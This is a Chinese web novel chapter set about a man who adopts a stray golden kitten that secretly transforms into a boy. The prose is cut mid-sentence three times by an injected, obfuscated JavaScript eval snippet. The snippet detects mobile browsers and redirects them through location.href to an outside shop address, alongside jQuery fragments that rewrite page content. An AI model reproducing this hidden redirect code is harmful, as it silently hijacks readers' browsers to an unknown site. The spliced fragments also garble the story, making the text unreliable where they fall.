《人!你要生咪的气嘛?》 1. 难忘雨天 初春,天气还有些凉。 细雨洋洋洒洒,给初醒的枝芽蒙上一层轻纱,空气掺杂着泥土和青草的气息。 温时序推开车门,一阵带着雨丝的风立刻贴了上来。他拢了拢风衣的领口,抬眼便望见外甥站在校门廊檐下,叽叽喳喳跟身边的朋友聊天。 对方也注意到他,挥手朝他跑了过来:“舅舅!今天怎么是你来接我呀!” 温时序接过外甥的书包,摸了摸他微湿的头:“你爸妈这几天没空,舅舅陪你。” 外甥李钦言仰着脸乖乖点头,好一副乖巧的面孔,实际上温时序知道他调皮得很,心里指不定盘算着什么大计划。姐姐嘴里所谓的“放松两天”,完全就是想让他接手混世魔王。 如他所料,车刚驶过两个路口,李钦言就按捺不住了,在车上扭来扭去:“舅舅,我饿了……想吃点东西。” 温时序还在坚守原则:“你妈妈说了,不能乱吃零食。” 李钦言的嘴角立刻撇了下去:“可是真的好想吃,只有舅舅那么好会给我买……” 温时序握着方向盘的手指收紧又松开,无声地叹了口气。 五分钟后,车停在了便利店门口。 “说好了,只能选一点点。”温时序一边叮嘱,一边看着那颗小脑袋在货架间兴奋地转来转去。 小朋友也没多纠结,生怕人反悔似的迅速挑好。 收银台前,李钦言忽然“咦”了一声,指着扫描机旁一根孤零零的火腿肠:“舅舅,这个是你拿的吗?我没有拿这个哎” 温时序也愣了一下:“我没拿东西,不想吃的话可以放回去。” 话音刚落,感觉裤腿被什么东西轻轻拉扯。 低头一看,一只浑身湿透、毛发纠结的金渐层正仰头看着他,绿色的眼睛圆圆的,估计是刚刚跟在他们身后溜进来的。 此刻它细声细气地“喵”了一声,又拽了拽他的裤子。 温时序看看猫,又看看那根火腿肠,忽然明白了什么。他弯腰把小猫轻轻拎起来,它竟也不挣扎,只是又软软地叫了一声。 “是你要的?”小猫煞有其事地点头,它觉得这个人类很聪明,深得咪心。 这是小猫第一次感觉到人类的善意,之前在外面,它只有被人撵着跑的份。 温时序失笑,对收银员说,“麻烦再拿两根,一起结账。” 店门口,李钦言小心翼翼地撕开包装,小猫立刻凑过来小口吃着。直到它把头撇开,用爪子洗脸,李钦言还蹲在地上舍不得走。 “舅舅,”他抬起头,眼睛亮晶晶的,“我们带它回家好不好?它这么小,在外面会生病的。” 小猫又适时地“喵”了一声,蹭了蹭李钦言的鞋。 对啊,它在外面流浪真的很辛苦。 “你妈妈猫毛过敏,养不了。”温时序摇头。 “那你养嘛!”李钦言立刻抱住他的腿,“我可以经常去看它!求求你了舅舅……”这一人一猫同步仰着头,湿漉漉的眼神如出一辙。 温时序最受不了他这样了,何况现在李钦言还多了一个帮手。他抬手揉了揉眉心:“先去宠物医院检查一下再说。” 李钦言欢呼一声,却看着小猫不敢伸手。最后还是温时序找来纸箱,轻轻把猫放进去,他才如获至宝地抱起纸箱,一路上都凑在透气孔边小声跟新朋友说着话。 宠物医院里,小猫一直拽着温时序的衣角,死活不肯不肯松爪。 医生有些为难地问:“温先生,方便抱着小猫吗?” “看不出来你还是只认生的小猫啊,那么自觉把火腿肠放在我们的购物篮里。”温时序嘴上这么说着,手托着比谁都稳。 怀里的猫像听懂他的话,猫爪“邦邦”甩起来去打温时序,软绵绵,轻飘飘的。 人,咪觉得你话密了。 温时序挨了那两下也不恼,反手撸了撸猫头,把猫惹得龇牙咧嘴。 “舅舅,它好乖呀!”旁边本来安静看着的李钦言凑过来。 光顾着看猫,忘记这糟心外甥了,温时序侧过脸:“我衣服被小猫勾坏了,钱从你零花钱里扣。” “不要啊舅舅,说不定我所有零花钱都不够。” “那把明年的也抵给我。” 半小时前还兴致勃勃求着收养小猫的人现在开始变脸:“堂堂一个总裁,那么小气干嘛?你怎么不找小猫要?” “喵?”好不容易在温时序怀里找了个舒服姿势,正满意窝着的猫倏然抬起头,眼神写满控诉,盯着眼前人仿佛判断话语里的真实性。 温时序手指在小猫耳后轻轻搔了搔,小猫舒服地眯起眼,喉咙里发出细小的呼噜声,把那句“找小猫要”的玩笑抛诸脑后。 检查完毕,医生一边记录一边随口问道:“温先生,小猫很健康。只是需要驱虫和后续的疫苗。对了,它叫什么名字?病历上需要登记一下。” 温时序几乎没怎么思考,脱口而出:“南南。” “南南?”旁边正偷偷摸小猫爪子的李钦言立刻抬起头,一脸嫌弃,“舅舅,这名字好土啊!为什么叫南南?” “黄澄澄的,像个南瓜。”温时序语气平淡,目光落在小猫蓬松的绒毛上。 “南瓜?颜色也没这么夸张吧?”李钦言更不服气了,试图争取命名权,“那还不如叫别的,南南不好听,我们给它换一个吧?叫……” “你问它喜欢吗?”温时序打断外甥的滔滔不绝,低头看着怀里的小猫,指尖点了点它的湿鼻头。 小猫仰着脸,绿色的圆眼睛眨了眨,看看温时序,又看看李钦言,没有给出任何明确的反应,只是伸出舌头舔了舔刚刚被点过的鼻尖。 温时序见状,不紧不慢地继续开口,声音压低了些,带着一种诱哄的意味,是对猫说的:“跟着我,每天都有吃不完的小鱼干、虾仁,各种各样的罐头。还会给你买很多玩具,猫爬架,软垫子……” 小猫的耳朵敏锐地动了动,眼睛似乎瞪大了一圈,亮晶晶地望着他,看得出来很心动。 温时序唇角几不可察地勾了一下,余光瞥向旁边竖起耳朵听的外甥,慢悠悠补上最后一句:“而他,”他朝李钦言的方向抬了抬下巴,“零花钱连赔我一件被勾坏的衣服都不够,说不定……最后得把你赔给我抵债。” 话音落下,怀里的小猫静止了一瞬。随即,它像是完全听懂了这番“利害分析”,毫不犹豫地,用小脑袋重重地往温时序温暖的风衣里拱了拱,找了个更安稳的角落,把自己彻底埋了进去,只露出一条轻轻摇摆的尾巴尖。 那姿态,分明是做出了选择。 “诶?你怎么这样?”李钦言傻眼了,指着那团“见利忘义”的金色毛球,“你这就被他收买了?一点吃的和玩具而已,我、我以后也可以给你买!” 小猫在温时序怀里又蹭了蹭,发出一声满足的、细微的“咪呜”,对他的抗议充耳不闻。 温时序感受着胸前传来的温热和细微震动,眼底掠过一丝笑意。他托稳了自动“投诚”的小猫,对医生点点头:“就登记‘南南’。麻烦安排驱虫和疫苗。” 然后,他抱着他的南南,从容地转身去办理手续,留下原地跳脚却又无可奈何的小外甥。 细雨不知何时已经停了。 回程的车上,李钦言还在试图隔着纸箱跟南南“讲道理”,而南南则在温时序默许放上副驾的纸箱里,抱着温时序临时买的小绒球玩具,玩得不亦乐乎。 温时序开着车,偶尔瞥一眼后视镜里外甥气鼓鼓的脸,又扫过副驾上那一团忙碌的毛茸,勾唇笑了。 暮色四合,温时序的公寓里亮起了温暖的灯光。 一进门,刚获得新家的南南就挣脱了李钦言的怀抱,轻盈地跳上客厅那张宽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467736|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敞的沙发,好奇地嗅来嗅去,最后在柔软的靠垫中间找了个位置,满意地趴下,尾巴尖悠闲地晃动。 李钦言见状,立刻有样学样,也把自己扔进沙发,和南南面对面趴着,拿出新买的小玩具逗它。 很快沙发变得乱七八糟。 温时序脱下风衣挂好,看着这一大一小迅速占领他的领地,无奈地摇了摇头。 他不喜欢家里有外人常待,保姆只是定期来打扫,因此晚餐自然得他亲自动手。 厨房里传来切洗烹炒的声响,食物的香气渐渐飘散出来。李钦言吸着鼻子,南南也停下了扑球的动作,耳朵转向厨房的方向。 “开饭了。” 温时序端着盘子出来时,发现李钦言已经规规矩矩坐在椅子上,而南南着急地扒拉着另一张椅子腿。 即使把猫粮放下,南南也只是嗅了一下,继续喵呜喵呜叫着。 “舅舅,你看,你买的猫粮南南不爱吃。”李钦言立刻告状。 温时序弯腰,小心地拎起南南的后颈,把它放到椅子上:“坐好。” 南南却不甘心,伸着爪子试图往桌上够,等如愿被抱上桌后,想去扒饭菜,又被温时序轻轻按了回去。它便不再乱动,只是将下巴搭在桌沿,眼巴巴地盯着温时序面前的餐盘,喉咙里发出细细的、委屈的呜咽。 温时序拿起筷子,对上那双湿漉漉的猫眼,语气平淡却不容置疑:“看也没用,这些你不能吃。” “喵喵喵!”南南抗议地叫了几声,爪子拍了拍桌面。 温时序动作一顿,若有所思:“想吃熟的?” 南南立刻点头,小脑袋上下晃动,显得格外认真。 温时序无声地叹了口气,放下刚拿起的筷子,起身又走进了厨房。利落地查了一下小猫能吃什么,不一会儿,他端出一个小碟子,里面是几小块白水煮得极嫩的牛肉,旁边还点缀了两小朵煮软的西兰花。 他把碟子放在南南面前。 南南凑过去仔细闻了闻,似乎很满意,不再看人类的餐桌,低头安静而专注地吃起来,只是小心地用鼻子把西兰花拨到了一边。 温时序终于可以坐下吃饭了。他拿起筷子,目光扫过餐桌两侧:左边,李钦言正用勺子艰难地与几根胡萝卜丁“搏斗”,试图将它们藏到米饭底下;右边,南南正用爪子嫌弃地把西兰花推到碟子边缘,只挑牛肉吃。 他挑了挑眉,放下筷子,指节在桌面上轻轻叩了叩。 “李钦言,把胡萝卜吃了,营养均衡。”语气平稳,却终于带着长辈的威严。 “南南,”他转向小猫,指尖点了点那两朵被冷落的西兰花,“这个也要吃完,对你身体好。” 一人一猫的动作同时僵住。 李钦言苦着脸,小声嘀咕:“舅舅……这个味道好奇怪。” 南南则抬起头,无辜地“咪”了一声,试图用脑袋蹭温时序还搁在桌上的手,却被对方避开了。 “撒娇没用。”温时序不为所动,“要么吃完,要么——”他顿了顿,目光在李钦言和南南之间转了转,“明天没有零食,也没有小鱼干。” 这个威胁显然十分有效。 李钦言皱紧眉头,视死如归般将胡萝卜丁塞进嘴里,胡乱嚼几下咽了下去。南南盯着那两朵西兰花看了几秒,又看看温时序没有表情的脸,终于不情不愿地、极其缓慢地,把西兰花一点点舔进了嘴里,嚼得咬牙切齿。 温时序看着他们“痛苦”却乖乖照做的样子,眼底终于掠过一丝极淡的笑意。他重新拿起筷子,声音缓和了些:“这才对。吃饭。” 餐桌上暂时只剩下轻微的咀嚼声和碗筷碰撞声。窗外的夜色彻底笼罩下来,公寓内的灯光却将这一隅照得格外明亮温暖。 沙发上的玩具还没收拾,空气里还带着食物的香气,以及一种刚刚开始滋生的,毛茸茸的归属感。 2. 聪明小猫 南南是在被窝里被热醒的,迷迷糊糊用爪子扒了扒旁边裹着它的被子。被子被温时序的手臂压着,它力气不够,只能奋力把人拱醒。 谁知温时序非但没醒,反而压了压手臂,含糊地咕哝了一声,睡得更沉了。 南南:…… 它本来还觉得这是一个聪明的人类,但昨晚彻底改变了想法。 温时序很早就把外甥催去房间睡觉,自己在客厅给南南收拾猫窝。他满意地在毛绒窝里铺上一张小毯子,拍拍柔软的垫面,朝南南招手:“来试试,很舒服。” 南南蹲在茶几旁,尾巴尖不耐烦地轻扫,就是不愿意进去。 见它不动,温时序干脆伸手把它抱起来,想往猫窝里放。南南立刻在他怀里扭动挣扎,后腿一蹬就想跳走。 “南南,猫窝很软的,而且我加了毯子,睡觉不会冷。”温时序不懂它为什么这么抗拒,虽然已是初春,夜里寒气仍重,他放心不下让小猫睡外面。 南南坚定地摇头,胡须都跟着抖了抖。 一人一猫在客厅僵持,大眼瞪小眼。 末了,温时序率先败下阵来。李钦言已经睡了,总不能为这点事去吵醒孩子。他叹了口气,朝南南张开手:“真拿你没办法。来吧,娇气猫,跟我回房间睡。” 娇气?南南瞥了一眼猫窝。 有静电知道不?很痛的。 真是跟你们这些人类没话说。 南南自觉自己是一只大气的猫,不会跟人计较,施施然迈步到温时序张开的手边。 温时序把它带进卧室,刚放到床上,南南直奔枕头,整只猫摊开,占领制高点。 “枕头是放头的,笨蛋小猫。”温时序好笑地把它往旁边挪了挪。 不要用你们人类的规矩来要求一只小猫好吗? 南南不服气地又在枕头上踩了两脚。 温时序戳戳它毛茸茸的脑门,故意板起脸:“南南,要不是你今天洗过澡,我可不会让你上床。所以,要乖乖的。” 识时务者为俊杰。 南南虽然不甘心,还是老实缩成了一团。 等温时序去洗漱,它又不安分起来,溜到床边好奇地拨弄他的手机。 “咔嚓!” “喵!”南南被突如其来的快门声和闪光吓得炸了毛,一跃而起,迅速窜到床角,警惕地盯着那个“方盒子”。 “怎么了?”温时序闻声探出头,脸上还带着水珠。 南南立刻摆出一副无辜的表情,诚恳地摇了摇头,试图蒙混过关。可惜表演痕迹太重,温时序盯着它看了不到三秒,它就心虚地别开了脸。 没开玩笑,温时序第一次在一只猫脸上看到如此丰富的表情:心虚、尴尬,却又强装镇定,甚至有点理直气壮。 他实在没发现异常,便不再深究,擦干脸上床,靠在床头刷起手机。 一开始南南还老老实实趴在一边,没多久就悄悄挪过来,见温时序没反应,便放心大胆地趴到他胸前,脑袋凑近屏幕,一起看了起来。 温时序划过一条关于金渐层猫咪的视频,南南没看完,不满地用爪子轻轻拍了拍屏幕。 “想看这个?”温时序有些意外。 南南点头。他便把视频划了回去。 视频在讲猫咪的“聪明毛”,温时序一边看,一边下意识地去摸南南的耳朵边缘。 摸来摸去,都没有找到视频里说的那种长长的耳簇毛。 显然南南也很关心自己有没有,仰着脑袋,圆眼睛一眨不眨地盯着他。 “别看了,”温时序忍笑,实话实说,“你没有。” 南南不信,用后退蹬耳朵,想把自己耳朵翻过来检查。蹬不到,急了,拿脑袋顶温时序的手让他帮忙翻。 “真没有,我不骗你。”温时序拿起手机,对着南南的侧脸拍了一张特写,然后把照片展示给它看,“你看,是不是没有?” 南南凑近屏幕,仔仔细细地看。照片里,它圆润的侧脸和光洁的耳朵边缘一览无余。它不可置信地拍了几下手机屏幕,爪子一滑,照片切换到了下一张。 坏了!咪的大头照怎么出来了? 正是刚才它不小心按到快门拍下的那张,角度清奇,把它整张脸拍得圆鼓鼓的,眼睛都没完全睁开。 南南立刻急了,爪子慌忙在屏幕上划拉,试图把这张“丑照”翻过去,奈何猫爪实在操作不了这么精细的活儿。它索性把脑袋往手机上一趴,耳朵耷拉下来,试图挡住照片,心里默默祈祷温时序没看清楚。 晚了。温时序早就看见了。 他把手机抽回来,看着照片闷笑出声,手指轻轻戳了戳南南热乎乎的脑门:“原来刚才我们南南是在给自己拍照啊?这么可爱,我设成手机壁纸好不好呀?” 壁纸?那是什么? 南南不懂,但听温时序的语气带着笑意,似乎不是坏事。它犹豫了一下,还是迟疑地点了点头。 于是,它的猫生有了第一件追悔莫及的事。 —— 南南还在床上左右乱蹭,温时序的闹钟终于响了。 它觉得自己快要被热晕在被窝里了,趁着温时序伸手关闹钟的功夫,它赶紧钻了出来,大口呼吸新鲜空气。 但是,谁能告诉它,为什么这个叫“手机”的东西,屏幕一亮,赫然就是它那张丑得离谱的大头照! 没有拍出半分它的威风与可爱,反而把它脸上的软肉放大了无数倍。 南南如遭雷击,整只猫都僵住了。它看了看手机,又抬头看了看正坐起来的温时序,内心充满了郁闷。 它默默转身,跳到床头柜上,背对着温时序,面朝墙壁,尾巴蔫蔫地垂着,选择自闭。 温时序要出门上班,没法一直照顾小猫。 临行前,他再三叮嘱南南好好在家,不许乱跑,还认真检查了所有门窗。 南南蹲在玄关,乖巧地“喵”了一声作为回应。等确认他们都走远了,屋子里彻底安静下来,它才悄悄松了口气。 它跳上沙发,环顾了一下空旷的客厅,绿色的眼珠转了转。 下一秒,柔和的光晕包裹住它的小小身躯,光芒散去,沙发上出现了一个赤身裸体的少年,皮肤白皙,头发是浅浅的金色,发梢还微微翘起,一双圆眼带着猫科动物特有的灵动与警觉。 南南好奇地看了看自己的手指,又摸了摸脸,这是他第一次变成人,感觉还不错。他知道人类是要穿衣服的,便蹑手蹑脚地溜进温时序的卧室。 他是一只有素质的猫,没有把衣柜翻乱,只是拿走了搭在最显眼处的一件宽松的浅灰色家居服套上。 衣服对他而言过于宽大,袖口长出一截,下摆也快盖住大腿。南南不甚在意,他不习惯穿鞋,就光着脚丫,悄无声息地在房子里探索。 这里对一只猫来说很大,但对于此刻人形的他而言,格局一目了然。 他一边走,一边小声地念念有词:“找吃的地方在进门左手边的厨房。大门锁了,没有钥匙,想偷偷出去的话,可以走一楼那扇落地窗,出去的时候不能把窗户锁死,不然就回不来了……” 他很快就摸清了各个房间的用途和重要的出入口,满意地点点头:“全部记住啦,当人类好像也没那么难嘛。” 话音刚落,肚子就很不给面子地“咕噜”叫了一声。 南南瘪了瘪嘴,摸着肚子走向厨房。 温时序生活习惯太好,昨晚根本没有剩菜剩饭。他踮脚打开橱柜,里面只有一些米和未开封的面条,可是不会煮。 希望只能寄托在冰箱里了。他拉开冰箱门,冷气扑面而来。里面东西不多,除了鸡蛋、牛奶,就只有一块用锡纸包着的、硬硬的东西。 南南隐约记得昨晚李钦言说过,这叫“巧克力”,是一种零食,还嚷嚷着要放冰箱,怕化了。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467737|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然温时序当时说不用,但南南觉得,温时序连零食都不怎么吃,他懂什么?肯定是李钦言说得对。 于是,他在心里对温时序默默说了句“对不起”,拆开了包装。他先小心翼翼地舔了一下。 甜甜的,看来没问题。他放心地咬了一大口,慢慢嚼着吃完了,甚至还意犹未尽地舔了舔手指。吃完后,他没忘记把包装纸藏在垃圾桶最底下。 一块巧克力并不顶饿,反而勾起了更强烈的食欲,加上刚才一番乱跑,南南觉得又饿又困。 他决定先休息。 一楼落地窗前,那里有一片阳光正好斜斜照射进来,在地板上投下明亮温暖的光斑。 对猫而言,这是绝佳的晒太阳位置。 南南把身上过于宽大的家居服脱下来,仔细叠好,放回温时序的床上。虽然叠得歪歪扭扭,但是猫已经尽力了。 然后,光晕再次闪过,一只金渐层重新出现。 它迈着步子走到那片阳光里,选了个最暖和的位置,舒舒服服地蜷缩起来,把自己团成一个毛茸茸的球。 阳光晒得背上的毛发暖烘烘的,它惬意地眯起眼睛,喉咙里发出轻微的呼噜声,尾巴尖在光斑里轻轻晃动,很快就沉入了梦乡。 温时序一上午都有些心神不宁。 把南南一只猫留在家里,实在让他放心不下。好不容易处理完手头最紧急的工作,他趁着午休间隙,想起了家里那个很久没启用的智能摄像头。 他打开手机查看,客厅空无一人,阳光正好。镜头转动,对准了落地窗边那片光斑。 然后,他看到了那颗毛茸茸的猫球。 南南蜷成一团,睡得正香。阳光把它浅金色的毛发照得近乎透明,肚子随着呼吸轻轻起伏,尾巴尖偶尔无意识地弹动一下,完全沉浸在自己的猫梦里。 温时序的嘴角不自觉弯了起来,心头那点不安瞬间被这静谧的画面抚平。 下午,他又忍不住打开摄像头看了两次。每一次,南南都保持着几乎相同的姿势,窝在那一小块阳光里,睡得天昏地暗。 温时序摇头失笑,在心底默默给它贴上了“小懒猫”的标签。 南南是被钥匙开门声和脚步声吵醒的。 阳光已经西斜,那点暖意早就没了,地板变得有些凉。 它懒洋洋地伸了个长长的懒腰,脊椎骨一节节舒展开,然后才慢吞吞地坐起来,舔了舔有些凌乱的胸毛。 “看,我们的小懒猫睡醒啦。”温时序放好东西,走过来蹲在它面前,笑着用手指刮了刮它的下巴。 南南敷衍地“喵”了一声,算是回应。 小懒猫就小懒猫吧,它觉得自己已经免疫了。昨晚热得睡不着,今天饿得前胸贴后背,谁来了都没力气蹦跶。 温时序检查猫粮碗,发现早上倒的猫粮根本没动。 他皱起眉,走回南南身边,轻轻捏了捏它软乎乎的爪子:“南南,怎么不吃猫粮?不舒服吗?” 南南有气无力地摇头。不是不舒服,猫粮哪有热乎乎的食物香?它用脑袋蹭了蹭温时序的手,圆眼睛里写满了渴望。 温时序看它精神似乎还行,就是格外蔫巴,估摸着是挑食了。“真是把你惯坏了。”他无奈地点点猫头,起身走向厨房,“等着,给你弄点吃的。” 打开冰箱拿东西时,瞥见原本放巧克力的地方空了,温时序愣了一下,随即释然,肯定是李钦言那小子偷吃了,回头得说说他。 温时序动作利落地做了简单的猫饭,混了一点切碎的鸡胸肉和胡萝卜,他记得医生说过猫需要一点蔬菜纤维。南南早就亦步亦趋地跟到了厨房门口,眼巴巴地等着。 饭菜一放下,南南就凑过去,虽然对那一点点蔬菜略有迟疑,但饥饿最终战胜了一切。它埋头吃得飞快,偶尔发出满足的声响。 温时序看着它狼吞虎咽的样子,心里那点担忧总算放下了,果然就是挑食。 3. 此猫已经“掉马” 晚上南南对那个静电猫窝的嫌弃丝毫未减,时间还早就熟门熟路地钻进了温时序的卧室,跳上床,在枕头边找了个舒服的位置趴下,一副“我就睡这儿你能拿我怎么办”的架势。 温时序拿它没办法,只好笑着摇头。 床头柜上放着浅浅一杯红酒,温时序有时喜欢喝点助眠。 南南的注意力立刻被那暗红色的液体吸引了。它坐起来,好奇地歪着头,看温时序轻轻晃动着酒杯。 “这个,”温时序把酒杯举高一点,避开小猫试图探过来的鼻子,严肃警告,“是人喝的,红酒。小猫千万不能喝,知道吗?对身体不好,会生病的。” 他越是严防死守,南南就越是好奇。 就在此时,客厅突然传来李钦言急哄哄的叫喊:“舅舅!舅舅你快来一下!” 声音听起来挺着急,温时序心里一紧,以为外甥出了什么事,当下也顾不上酒杯了,随手放在床头柜上,转身就快步走了出去:“怎么了?出什么事了?” 机会! 南南的耳朵瞬间竖起。确认温时序的脚步声远去,它立刻行动起来。柔和的光晕闪现,少年再次出现。 猫不可以,人总可以吧? 他赤脚踩在地毯上,迅速抓起那杯红酒,学着温时序刚才的样子,小心地抿了一小口。 液体滑过舌尖,有点奇怪,但细细回味,好像又有点好喝? 他没敢多喝,只尝了这么一点点,就赶紧把杯子放回原处,光晕一闪,重新变回小猫,蹲在床边,还忍不住舔了舔嘴角,回味着那新奇的味道。 动作一气呵成,前后不过十几秒。 温时序很快回来了,原来是李钦言做题遇到了难题,夸张地大呼小叫而已。他松了口气,笑骂了外甥两句,走回卧室。 一进门,他的目光下意识扫过床头柜,随即定格在酒杯,杯壁上有一个极淡的、小小的水渍印子。 而南南正端坐在床边,一副若无其事的样子,但粉色的舌头刚刚缩回去,还在意犹未尽地咂咂嘴。 温时序的心猛地一跳,一个不妙的猜想浮上心头。 “南南!”温时序的声音都变了调,头皮一阵发麻。他一把将还在回味的小猫捞进怀里,手指紧张地检查它的鼻子眼睛,“你是不是喝了?” 南南被他突如其来的紧张弄得有点懵,眨了眨眼。 “天呐祖宗,以后你是我的祖宗!”温时序此刻什么也顾不上了,葡萄和酒精对猫的危害知识在他脑子里乱窜。 他甚至连衣服都来不及换,抓起车钥匙,用毯子裹住南南就往门外冲,声音焦急地朝李钦言喊了一句:“钦言你看家,南南可能误食了东西,我带它去宠物医院!” “啊?哦!舅舅你们路上小心!”李钦言也吓了一跳,从房间跑出来只看到舅舅抱着猫夺门而出的背影。 温时序紧紧抱着毯子里的小猫,手心都在冒汗。南南似乎终于意识到自己可能闯了祸,缩在他怀里,小小地“喵”了一声,带着点儿不安。 今晚的宠物医院人格外多,温时序低头看着它水润润且尚不知危险的眼睛,又是担心又是后怕,忍不住用下巴蹭了蹭它毛茸茸的头顶,低声叹气:“你呀……真是个小麻烦精。” 南南贴在温时序温暖的胸口,听着他急促的心跳,迷迷糊糊地想:那口酒,后劲好像上来了,有点晕乎乎的。人类喝的这个,果然好奇怪。 南南被裹在柔软的毯子里,只露出一颗毛茸茸的小脑袋,酒精带来的那点微醺,逐渐被更深沉的困意取代。它眼皮越来越重,脑袋在温时序臂弯里一点一点,最终彻底耷拉下去,呼吸变得均匀绵长,竟真的睡着了。 温时序的心却一点也放不下,看着怀里仿佛只是普通熟睡的小猫,那份不安反而更甚。他快步抱着南南找到值班医生,语速飞快又尽量清晰地说明了情况:“医生,我家猫可能误喝了红酒,量应该不算少。” 医生闻言,神色也严肃起来,立刻安排进行检查。南南被轻轻放上诊疗台,温时序全程紧跟在旁,视线几乎没离开过南南。 小猫被摆弄着也没醒,只是偶尔不舒服地轻轻哼唧一声,爪子无意识地蜷缩一下。 检查结果很快出来了。医生看着化验单,又看了看睡得人事不知的小猫,表情有些困惑:“从目前的检查结果来看,各项指标基本都在正常范围内,没有出现明显的肾衰竭迹象。” “这怎么可能?”温时序眉头紧锁,“它确实喝了,我确定。而且看它刚才的样子,像是有点晕乎。” “确实有点奇怪,”医生推了推眼镜,“如果按您说的量,即使是少量,猫咪也应该会出现一些呕吐拉稀的症状。但它现在,”医生指了指诊疗台上睡得四仰八叉的南南,“看起来就是深度睡眠,有可能是它根本没喝?” “它肯定喝了。”温时序语气笃定,他想起杯壁上那个小小的痕迹,和南南舔嘴回味的样子。“有没有可能是体质特殊?” 医生建议留院观察几个小时。 温时序低头看着毯子里那团毫无防备的暖烘烘的小身体,心里五味杂陈。他疲惫地捏了捏眉心,点头同意了医生的建议。 外甥李钦言哭着求着要收养的小猫,到头来,操心劳神、担惊受怕的全是他。 南南被安置在观察室一个铺着软垫的笼子里,身上连着监测心率呼吸的柔软导线。温时序就拉了把椅子坐在旁边,一刻不敢合眼。他时不时伸手探探南南的鼻息,摸摸它的小耳朵,确认那温暖的触感和规律的起伏。 后半夜,南南似乎睡得更沉了,偶尔吧唧一下嘴,像是在梦里尝到了什么好吃的。监测仪上的曲线始终平稳,没有任何异常波动。 天快亮时,值班医生再次过来仔细检查了一遍,最终得出结论:小猫确实没事。 “可是……”温时序还想说什么。 医生笑了笑,带着点安抚的意味:“有时候是我们主人太紧张了,看到一点迹象就放大。您可以带它回家了,回去后注意观察食欲和精神,一般没问题就不用担心了。” 温时序知道医生说的是基于检查结果的合理判断。他谢过医生,小心翼翼地把还在熟睡的南南连同毯子一起抱进怀里。 走出医院,清晨微凉的空气扑面而来。东方已经泛起了鱼肚白。怀里的南南似乎被光线干扰,把头更深地埋进毯子,蹭了蹭他的胸口。 温时序坐进车里,没有立刻发动。他低头看着南南安然无忧的睡颜,心里的疑云不仅没有散去,反而更浓了。 他百分百确定南南喝了那杯酒。 不仅喝了,看它当时那回味的样子,说不定还觉得不错。可是,为什么一只猫喝了红酒,会像只是喝了几口清水一样,检查不出任何问题? 睡这么沉,他甚至觉得南南只是喝醉了。 怎么就他家猫与众不同? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467738|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心乱如麻,温时序没了开车的心情,而且他怀疑,南南绝对有乱吃东西的前科,他干脆打开家里的监控,在停车场翻起录像。 时间轴被快速拖动后退。 画面里,南南在阳光地里睡觉,翻了个身,继续睡。一切如常,温时序几乎要怀疑自己是否多心了。他耐着性子,将进度条拉到他离家后不久的时间段,稍微放慢了播放速度。 起初,仍然是空荡荡的客厅,只有光影缓慢移动。然后,他看到跳上沙发,伸了个懒腰。 紧接着,令人难以置信的一幕发生了。 朦胧的光晕毫无征兆地包裹住了那只浅金色的小猫,持续了几秒后如同潮水般退去。 沙发上,南南消失的地方,取而代之的,是一个赤身裸体的少年。 温时序的手猛地一抖,手机差点脱手。心脏在胸腔里擂鼓般狂跳起来,眼睛却死死盯着屏幕,一眨不眨。 惊讶,但预想中的恐惧或骇然却没有出现。 取而代之的是一种极其复杂的情绪:难以置信,荒谬绝伦,却又诡异地带着一种“果然如此”的感觉。 毕竟,他的这只小猫,实在聪明得过分了。 初遇时它就懂得蹲在便利店门口,用那双湿漉漉的圆眼瞅着他,直到他为那根火腿肠付了账,赌他的心软。 温时序看着画面里那个少年。浅金色的头发有些凌乱,发梢有点黑色的挑染渐变,身体线条纤细却不孱弱,一双圆眼打量着四周。 跟南南一模一样,就是那个会嫌弃猫窝、会跟着看手机视频的小猫,换了一副模样。 他看见南南溜进他的卧室,片刻后,穿着他那件过于宽大的浅灰色家居服走出来,光着脚丫在房子里探索,小声地自言自语。他看见少年打开冰箱,拿出了那块巧克力,拆开,舔了舔,然后放心地吃掉了,吃完还记得把包装纸藏进垃圾桶最底下。 每一个动作,每一个细微的表情,都透着南南特有的、混合着猫的狡黠与某种初生人类般的懵懂神态。 温时序的关掉了手机屏幕,将发烫的手机丢在副驾驶座位上,整个人向后靠在椅背里,抬手用力按着突突直跳的太阳穴。 南南赌对了一次他的心软,决定收养的那刻开始,他不可能把它扔出去,不然一只小猫自己生活也太惨了。 温时序需要消化,需要冷静。但汹涌的情绪需要一个出口。 他转过头,看向副驾驶。南南还睡得香甜,对刚刚发生的事一无所知。小脑袋歪在一边,胡须随着呼吸轻轻颤动,一派全然的天真无辜。 